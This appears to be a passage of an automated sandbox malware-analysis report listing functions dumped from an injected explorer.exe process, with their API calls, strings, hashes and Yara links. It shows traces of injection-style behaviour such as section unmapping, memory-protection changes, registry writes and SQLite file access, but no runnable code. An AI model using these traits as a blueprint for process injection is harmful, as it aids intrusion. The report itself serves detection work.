Opcode ID: 084f457141db22ffb1187e7de7a7f87676a81b4f154631b65445bff0f4c5de29
Instruction ID: f755d673fab57e1090602cd5f513ea6c0e9c1e41dd092451aa273f6b589bcce6
Opcode Fuzzy Hash: 084f457141db22ffb1187e7de7a7f87676a81b4f154631b65445bff0f4c5de29
Instruction Fuzzy Hash: 1E315860B083245BDB11AF65CC2692BFADEFFC5648B094A1DF80593240DBF2DC418BA1

Function 0275F92F Relevance: 12.4, APIs: 4, Strings: 4, Instructions: 350COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?,00000000), ref: 0275FB32
memcpy.NTDLL(?,?,00000000,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0275FB4D
memcpy.NTDLL(?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030,00000000,000001D8,00000000), ref: 0275FB60
memcpy.NTDLL(?,?,?,?,?,?,00000000,000001D8,00000000,?,?,?,?,00000054,00000000,00000030), ref: 0275FB95

Strings

nolock, xrefs: 0275FC4E
-journal, xrefs: 0275FB6B
immutable, xrefs: 0275FC68
-wal, xrefs: 0275FBA9

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: memcpy
String ID: -journal$-wal$immutable$nolock
API String ID: 3510742995-3408036318
Opcode ID: 71b03420e7739b4feab9a55570d141835f83cccbbfec7fc31eed7d09dc40a671
Instruction ID: e8dbf6d393776dfb0a372dbae5819be3e162e672823f4921acbe1e52d4313084
Opcode Fuzzy Hash: 71b03420e7739b4feab9a55570d141835f83cccbbfec7fc31eed7d09dc40a671
Instruction Fuzzy Hash: FDD1D3B16083518FDB15DF28C894B2AFBE6AF86314F08456DEC998B391D7B4D805CB53

Function 02757820 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 407COMMON

Download Yara Rule

Strings

NaN, xrefs: 027573F8
%, xrefs: 02757822
-x0, xrefs: 02757325

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID:
String ID: %$-x0$NaN
API String ID: 0-62881354
Opcode ID: 7049a20814f9db024332af0ed743570b45b0198c6335cca04a79c901589cf7dd
Instruction ID: fd5ef80cdf4e6f0b6d6f3a6023565d0f225b129cc67e066db7a88c7c94e075c2
Opcode Fuzzy Hash: 7049a20814f9db024332af0ed743570b45b0198c6335cca04a79c901589cf7dd
Instruction Fuzzy Hash: BDD1E530A0C3A18FD72A8E29849472BFBE6AFC6208F54495DFCC597391D7E5C945CB82

Function 027578B0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

NaN, xrefs: 027573F8
-x0, xrefs: 02757325

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 04f62c294c565bed4aabe5d186b712de92f4a5967747d7a12dddd5991d9035f7
Instruction ID: 3e5393828b28f81b030635ae0c11146c8ca1e61e3a113623b33490e3daadb6c9
Opcode Fuzzy Hash: 04f62c294c565bed4aabe5d186b712de92f4a5967747d7a12dddd5991d9035f7
Instruction Fuzzy Hash: 98E1E530A083A18BD72A8E28C45473BFBE6AFC6218F18495DECC597391D7E5C945CB92

Function 02757A5C Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

NaN, xrefs: 027573F8
-x0, xrefs: 02757325

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 18c4dd1572a872440aa720b3dd04794a7ccf503e3af3d0e2573ae7331772e01e
Instruction ID: 74011286b7e9bf79bf306ea310433640220cec55f550cee7b76cacb99041256b
Opcode Fuzzy Hash: 18c4dd1572a872440aa720b3dd04794a7ccf503e3af3d0e2573ae7331772e01e
Instruction Fuzzy Hash: B5E1E330A083A18BD72A8E29C49472BFBE6AFC6208F54495DFCC597391D7F1C945CB92

Function 02757A28 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 426COMMON

Download Yara Rule

Strings

NaN, xrefs: 027573F8
-x0, xrefs: 02757325

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 913ee9661e4b760fa96d917b8dced89e32ddcf218ec727e0ec7b0408f2906a31
Instruction ID: 0dc5b4de0b258d9db097d651eed529abc6b50f646d82267ef9a9678d182dc889
Opcode Fuzzy Hash: 913ee9661e4b760fa96d917b8dced89e32ddcf218ec727e0ec7b0408f2906a31
Instruction Fuzzy Hash: F1E1D470A083A18BD7298E29C49472BFBE6AFC6208F18495DFCC597391D7F5C945CB82

Function 027577F9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 414COMMON

Download Yara Rule

Strings

NaN, xrefs: 027573F8
-x0, xrefs: 02757325

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID:
String ID: -x0$NaN
API String ID: 0-3447725786
Opcode ID: 7bc033775d0738c64a11a7a6eacce9012f5791f718c9cadad124cc2e086e9921
Instruction ID: 7f4a37cc30c7bd6b2b2accf919742e10e0ce218b08b17f837438c3e79e7d3bea
Opcode Fuzzy Hash: 7bc033775d0738c64a11a7a6eacce9012f5791f718c9cadad124cc2e086e9921
Instruction Fuzzy Hash: C6E1E470A083A18FD7298E29C49472BFBE5AFC6208F14495DFCC597391D7E5C945CB82

Function 027570C9 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 403COMMON

Download Yara Rule

APIs

_aulldvrm.NTDLL(00000000,00000002,0000000A,00000000), ref: 0275720E
_aullrem.NTDLL(00000000,?,0000000A,00000000), ref: 02757226
_aulldvrm.NTDLL(00000000,00000000,?), ref: 0275727B

Strings

NaN, xrefs: 027573F8
-x0, xrefs: 02757325

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _aulldvrm$_aullrem
String ID: -x0$NaN
API String ID: 105165338-3447725786
Opcode ID: 00107a476863af593f3ff0a456b15743a60ccb00621aa4fc888b74cf48dfc826
Instruction ID: 4e4eb6caecec5081714e49b9b62e260e83df97150d73736eecd24aa608be728b
Opcode Fuzzy Hash: 00107a476863af593f3ff0a456b15743a60ccb00621aa4fc888b74cf48dfc826
Instruction Fuzzy Hash: B2D1F530A0C3A18FD72A8E29849472BFBE6AFC6208F14495DFCC597391D7E5C945CB82

Function 0275898F Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 353COMMON

Download Yara Rule

APIs

_allmul.NTDLL(00000000,?,0000000A,00000000), ref: 02758AAD
_allmul.NTDLL(?,?,0000000A,00000000), ref: 02758B66
_allmul.NTDLL(?,00000000,0000000A,00000000), ref: 02758C9B
_alldvrm.NTDLL(?,00000000,0000000A,00000000), ref: 02758CAE

Strings

., xrefs: 02758B17

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _allmul$_alldvrm
String ID: .
API String ID: 115548886-248832578
Opcode ID: 75900410a1e09c906492b99e1aa9ee0c83b87cbc27929d8f93ee48125278c761
Instruction ID: a6d062ebe18857f8d8ff441b97dbcec808c80acb07cee382bfe0d4d265d8c8ce
Opcode Fuzzy Hash: 75900410a1e09c906492b99e1aa9ee0c83b87cbc27929d8f93ee48125278c761
Instruction Fuzzy Hash: 34D1F3B190E7A98BC3108F19848033AFBE1BFC9314F04499EFAD596281D7F18985CB87

Function 0277D684 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0277D6A0
memset.NTDLL ref: 0277D6B3
memset.NTDLL ref: 0277D6C3

Strings

,, xrefs: 0277D6FC
7, xrefs: 0277D71B
9, xrefs: 0277D701

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: memset
String ID: ,$7$9
API String ID: 2221118986-1653249994
Opcode ID: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction ID: 5b3a439b70d7fa0f227201c440d8b30989b058f6271083fc67341786bc9c3da5
Opcode Fuzzy Hash: b1d51447b54f57044a401778e5baa02a08deb2ee8b9c42d589ff759b1829e7d0
Instruction Fuzzy Hash: 8231AD715083449FD731DF60D844B8FBBE9AFC5350F00892EE98997250EB719548CBA3

Function 02751BC5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00000000,?,02752E75,PathToExe,00000000,00000000), ref: 02751BCC
StrStrIW.SHLWAPI(00000000,.exe,?,02752E75,PathToExe,00000000,00000000), ref: 02751BF0
StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,02752E75,PathToExe,00000000,00000000), ref: 02751C05
lstrlenW.KERNEL32(00000000,?,02752E75,PathToExe,00000000,00000000), ref: 02751C1C

Strings

.exe, xrefs: 02751BEA

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrlen
String ID: .exe
API String ID: 1659193697-4119554291
Opcode ID: 36f7453379d52c3c7214a145c34259a9a5a34326a299b9341b477b2638a1100d
Instruction ID: 12ab2800324c11e906a81ac6df54b59c289e6634ae81b6f4c5c2d559a56283ff
Opcode Fuzzy Hash: 36f7453379d52c3c7214a145c34259a9a5a34326a299b9341b477b2638a1100d
Instruction Fuzzy Hash: AFF0C8307516305AE7245F349C44BBBA799EF413527559C29E94AC3190F7F18881C759

Function 02752112 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29timeCOMMON

Download Yara Rule

APIs

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

GetSystemTimeAsFileTime.KERNEL32(?), ref: 02752127
_alldiv.NTDLL(?,?,00989680,00000000), ref: 0275213A
wsprintfA.USER32 ref: 0275214F

Strings

%li, xrefs: 02752149

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: HeapTime$AllocateFileProcessSystem_alldivwsprintf
String ID: %li
API String ID: 4120667308-1021419598
Opcode ID: ce101e69ddaeb0d059ebf0e3e2d29b2bd8f79b06c5957bfd9384a58be5d0f5c2
Instruction ID: 09cbca8ffb1d6619662dd7393f384ef6cdfdf1a655e2cd97f7a3de3a5dee6268
Opcode Fuzzy Hash: ce101e69ddaeb0d059ebf0e3e2d29b2bd8f79b06c5957bfd9384a58be5d0f5c2
Instruction Fuzzy Hash: 10E09232E4021877DB213BA89C0AEEF7F6DDB80A26F484691FA04B2181E5724A2487D5

Function 02762FF6 Relevance: 6.6, APIs: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000018), ref: 0276316F
_allmul.NTDLL(-00000001,00000000,?,?), ref: 027631D2
_alldiv.NTDLL(?,?,00000000), ref: 027632DE
_allmul.NTDLL(00000000,?,00000000), ref: 027632E7
_allmul.NTDLL(?,00000000,?,?), ref: 02763392

Part of subcall function 027616CD: memset.NTDLL ref: 0276172B

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _allmul$_alldivmemset
String ID:
API String ID: 3880648599-0
Opcode ID: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction ID: 25c6bc0e2c9e543f40393eb7df74858c024b013eda00fc428592a6f4c1fd8ca7
Opcode Fuzzy Hash: 046d8b7b3e0929ff4979f6fcf46b9aaa87e7dca74d29b1c13d3f69a449f56726
Instruction Fuzzy Hash: 11D188716083418FDB25DF69C888B6ABBE6EFC8B04F04496DFD9597250DB70D849CB82

Function 027887FA Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 388COMMON

Download Yara Rule

Strings

FOREIGN KEY constraint failed, xrefs: 02788AC8
old, xrefs: 0278889E
new, xrefs: 027888AA

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID:
String ID: FOREIGN KEY constraint failed$new$old
API String ID: 0-384346570
Opcode ID: d2f259fb0b54e555bd9ecc7c4a3bba17534b532d1afde1a19d9e9df1827263b0
Instruction ID: f6ffbb5bd83acad33de10629dc22719fcb8ff5e71e207ae918a3e9640371092b
Opcode Fuzzy Hash: d2f259fb0b54e555bd9ecc7c4a3bba17534b532d1afde1a19d9e9df1827263b0
Instruction Fuzzy Hash: 34D125707483049FEB15EF24C984B2FBBEAABC8754F50891EF9458B290DB74D941CB92

Function 027596BC Relevance: 6.4, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_alldiv.NTDLL(000000FF,7FFFFFFF,?,?), ref: 027596E7
_alldiv.NTDLL(00000000,80000000,?,?), ref: 02759707
_alldiv.NTDLL(00000000,80000000,?,?), ref: 02759739
_alldiv.NTDLL(00000001,80000000,?,?), ref: 0275976C
_allmul.NTDLL(?,?,?,?), ref: 02759798

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _alldiv$_allmul
String ID:
API String ID: 4215241517-0
Opcode ID: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction ID: 744227941fe3d03fb948cd0b403ceeeaa19aea3004c4076d06764692925a29fb
Opcode Fuzzy Hash: aea503a78b0f5229cb44f0642643f5c49b5350688a0b94e79065ce13f3554f20
Instruction Fuzzy Hash: A62104315043B7EAD7355D254CC4B6BF5D9CBD07A8F241D2FEF0192240FAD2840585E1

Function 0276B162 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,00000000), ref: 0276B1B3
_alldvrm.NTDLL(?,?,00000000), ref: 0276B20F
_allrem.NTDLL(?,00000000,?,?), ref: 0276B28A
memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,00000000), ref: 0276B298

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _alldvrm_allmul_allremmemcpy
String ID:
API String ID: 1484705121-0
Opcode ID: c07b1973dc15deb075946aadc925f946f6ec129b35c749f45d640880d61a26fe
Instruction ID: d39c3ea06e40642088fb777610ae4d37e7f2b491e16e07baa0b9cad5649f2ad4
Opcode Fuzzy Hash: c07b1973dc15deb075946aadc925f946f6ec129b35c749f45d640880d61a26fe
Instruction Fuzzy Hash: 1A4126756083019FC719EF25C898A2BBBE6BFC9304F44992DF98597251DB31E805CF52

Function 02751895 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetHGlobalFromStream.COMBASE(?,?), ref: 027518A7
GlobalLock.KERNEL32(02754B57), ref: 027518B6
GlobalUnlock.KERNEL32(?), ref: 027518F4

Part of subcall function 02751000: GetProcessHeap.KERNEL32(00000008,?,027511C7,?,?,00000001,00000000,?), ref: 02751003
Part of subcall function 02751000: RtlAllocateHeap.NTDLL(00000000), ref: 0275100A

RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 027518E8

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: Global$Heap$AllocateFromLockMemoryMoveProcessStreamUnlock
String ID:
API String ID: 1688112647-0
Opcode ID: 3ce90fa5a5d9d62fdf1194e344bd3d2a190b9a94c09e909d6df8ca9ab778bced
Instruction ID: 373b6dfd2afcf9cda382768ac9a3a2bb5c1a84a9c48d04d9a1a6c143f3d557b8
Opcode Fuzzy Hash: 3ce90fa5a5d9d62fdf1194e344bd3d2a190b9a94c09e909d6df8ca9ab778bced
Instruction Fuzzy Hash: 7201A235640316AF8B115F29D80895FBBEEEFC4262B44C82EF80983250DF71D8149A20

Function 02751953 Relevance: 6.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,00000000,?,?,02752F0C), ref: 02751973
lstrlenW.KERNEL32(027A6564,?,?,02752F0C), ref: 02751978
lstrcatW.KERNEL32(00000000,?,?,?,02752F0C), ref: 02751990
lstrcatW.KERNEL32(00000000,027A6564,?,?,02752F0C), ref: 02751994

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 776665f6d7f7c59b0a0c94aab805562f03773db0fe395a2d13f5bae8ac98165a
Instruction ID: fe45db40afd5a66eb428e53f96e215c5a9a6108fbfedac241642ef5ada56b034
Opcode Fuzzy Hash: 776665f6d7f7c59b0a0c94aab805562f03773db0fe395a2d13f5bae8ac98165a
Instruction Fuzzy Hash: CEE0656270026C1B4A1476AE5C94E7BB79DCAC95A634A4039FE08D3201FAA69C0546B0

Function 0277F21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 02756A81: memset.NTDLL ref: 02756A9C

_aulldiv.NTDLL(?,00000000,?,00000000), ref: 0277F2A1

Strings

%llu, xrefs: 0277F2A8
%llu, xrefs: 0277F25E

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _aulldivmemset
String ID: %llu$%llu
API String ID: 714058258-4283164361
Opcode ID: e59ff1284b3358d9b1479c526be939fb8d4fd64b92b66b7e028f840c497f29a4
Instruction ID: 9324496af7b2cae70f11663186fcb06c107c0f88e7b82d1786a419788d09539f
Opcode Fuzzy Hash: e59ff1284b3358d9b1479c526be939fb8d4fd64b92b66b7e028f840c497f29a4
Instruction Fuzzy Hash: 2B21F6B26442156BDB15AA24CC49F6FB75AEF81730F044728FD22976C0DB61DC11CBE2

Function 0276203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 02762174
_allmul.NTDLL(?,?,?,00000000), ref: 0276220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 02762241
_allmul.NTDLL(02752E26,00000000,?,?), ref: 02762295

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: e5aa234eaff8a619a7bc37006636063fd540485d85ff0dd725adfc53d8ee4c9a
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: 9DA166B07087019FC755EE65C898A3FB7E6AF88704F40482DFE969B251EB70EC458B42

Function 027678B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 02767979
memset.NTDLL ref: 0276798A
memcpy.NTDLL(?,?,?), ref: 02767A00
memset.NTDLL ref: 02767A14

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: af376ec41a70e04bbcf17ff503d3a460e6231a99f720da1180408ef0166df4d8
Instruction ID: f0a079330af919b1f621804a9088fcf556fcda079054871b426098dd4f079aa1
Opcode Fuzzy Hash: af376ec41a70e04bbcf17ff503d3a460e6231a99f720da1180408ef0166df4d8
Instruction Fuzzy Hash: D4819D716083159FC355DF28C888A3BFBE6EF88758F44496DF88A97251E770E904CB91

Function 0275190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,02752783), ref: 0275192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,02752783), ref: 02751930
lstrcat.KERNEL32(00000000,?), ref: 02751946
lstrcat.KERNEL32(00000000,00000000), ref: 0275194A

Memory Dump Source

Source File: 0000000D.00000002.2747671125.0000000002751000.00000040.80000000.00040000.00000000.sdmp, Offset: 02751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2751000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 3b19169f51a2f1e51afd1bf1f69bcbd74e54489e32a7d4308cac141e0809bd3a
Instruction ID: ede1772f415710df6029033855fa27bd64405c075e9bf9ef6cd6eab4e6b0b2c8
Opcode Fuzzy Hash: 3b19169f51a2f1e51afd1bf1f69bcbd74e54489e32a7d4308cac141e0809bd3a
Instruction Fuzzy Hash: B6E09B9270026C1B4A2176AE5C84F7BB7DDCAC55B634A0175FD08D3201EF969C014AF0

Analysis Process: explorer.exePID: 7496, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	21.6%
Dynamic/Decrypted Code Coverage:	87.3%
Signature Coverage:	0%
Total number of Nodes:	181
Total number of Limit Nodes:	17

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00CD30A8 Relevance: 4.7, APIs: 3, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE ref: 00CD3104
FindNextFileW.KERNELBASE ref: 00CD3218
FindClose.KERNELBASE ref: 00CD3229

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction ID: efecc55afcb6a33f0b603e3616053bf80af56c2ce56028a8ace048c0c6e4c7a4
Opcode Fuzzy Hash: 1d486c4d822fa2842588a2a5b257e154b5955fe3e65b36dc891d1a63625ddf83
Instruction Fuzzy Hash: A2419430718B4D5FDB54FB3888487AE73E2FBD8340F444A2AA55AC3391EE74DA049782

Function 00CD38B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00CD38F2

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction ID: 0cebeac83c0bf4d2032fe3c223357df7a9e1e2b6399a428aa3656d8bebeff8cf
Opcode Fuzzy Hash: 3effbf976d711b6f0a270e8bac9098164ff64bae19101d68ee38af86237bc783
Instruction Fuzzy Hash: DAF0A020F11A481BEA6C77BD685D3382280EB98310F50052BBA29C33D2DC398A45A302

Function 00CD2774 Relevance: 6.1, APIs: 4, Instructions: 124
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE ref: 00CD27C7
RegQueryValueExW.KERNELBASE ref: 00CD27F4
RegQueryValueExW.KERNELBASE ref: 00CD283A
RegCloseKey.KERNELBASE ref: 00CD2860

Part of subcall function 00CD1860: RtlFreeHeap.NTDLL ref: 00CD1880

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: QueryValue$CloseFreeHeapOpen
String ID:
API String ID: 1641618270-0
Opcode ID: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction ID: 8c199e66a84977d9b1a4cbb2a0d23a4e6a98e6cfe5ef8ad20f60a6bbc89fa2dd
Opcode Fuzzy Hash: 9230968f98c31981e9a295993d042543a9bd8a1a5e48c502c57164f1c8228ab1
Instruction Fuzzy Hash: 1531B431208B488FE768DB28D84877AB7D0FBB8355F04062FE59AC33A4DF24C9419742

Function 00CD372C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE ref: 00CD37B2
RegCloseKey.KERNELBASE ref: 00CD37C1

Strings

?, xrefs: 00CD37A2

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD1000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd1000_explorer.jbxd

Similarity

API ID: CloseCreate
String ID: ?
API String ID: 2932200918-1684325040
Opcode ID: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction ID: 060fe8ae8641a56d3f64adb11b76773638a4de592244b6899c1b319aa9125b8e
Opcode Fuzzy Hash: 857738d7a85a5e3c817c71693e64eb2082b10df52a007d4c7754adbbf86b2b9f
Instruction Fuzzy Hash: D1119070608B488FD751DF69D48866AB7E1FB98305F40062FE58AC3360DF389985CB82

Function 00CDA298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00CDA397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 00CDA441
VirtualProtect.KERNELBASE ref: 00CDA45F

Memory Dump Source

Source File: 0000000F.00000002.2707640734.0000000000CD9000.00000040.80000000.00040000.00000000.sdmp, Offset: 00CD9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_cd9000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: 58190240237f4911a929fb40dbe2bcc2b0b3c080442d9a11ae811a6ccc8089c9
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: 7E517B32758D1D4BCB24AB7D9CC43F5B3D2F759321B18062BC6AAC3394D659D9468383

Function 00CD3254 Relevance: 4.7, APIs: 3, Instructions: 210
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

